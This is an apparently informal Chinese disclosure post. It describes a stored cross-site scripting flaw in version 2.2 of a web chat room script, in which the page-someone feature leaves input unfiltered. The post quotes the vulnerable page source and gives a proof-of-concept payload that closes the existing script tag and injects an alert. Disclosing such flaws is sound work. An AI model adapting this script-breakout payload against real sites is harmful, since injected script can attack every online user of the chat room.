注:别的版本我没有测试,不知道是否存在同样的问题!
在公司玩聊天室的时候发现这个传说水吧V2.2版本存在XSS攻击的,攻击类型属于用户被动式攻击,攻击者可以主动构造出恶意代码,迫使聊天室在线的每一个人都受到攻击,因为聊天室的呼叫功能页面没有对用户输入的字符进行严格的过滤,导致攻击者可以插入恶意脚本代码,达到攻击效果。
下面是测试攻击代码:
以下是引用片段: ')</script><script>alert(/XSS/)</script><script>(' |
在这里我说一下,为什么要用到两个script标记,这是因为呼叫页面提交完成内容以后会被页面原有的script给截断,所以我们构造插入<script>alert(/XSS/)</script>这个代码的时候,就会被截断,攻击代码被拆分,如下:
以下是引用片段:
以下是引用片段:
<script>function g1(n,t,x){document.write("<tr><td width=66 nowrap align=center><a href=# onclick=javascript:window.open('overroom.asp?towho="+n+"','overroom','width=460,height=200,scrollbars=1')>"+n+"</a>");document.write("<td width=66 align=center>"+t+"<td>"+x);}; g1('qhkest','9:31:34','<script>alert(/XSS/)</script>');var ttt=null;ttt=setTimeout('window.close()',100000)</script> | |
从上面的代码我们可以看出,要想达到攻击效果,就必须闭合原始的〈script〉〈/script〉,最后得出攻击代码如下:
以下是引用片段: ')</script><script>alert(/XSS/)</script><script>(' |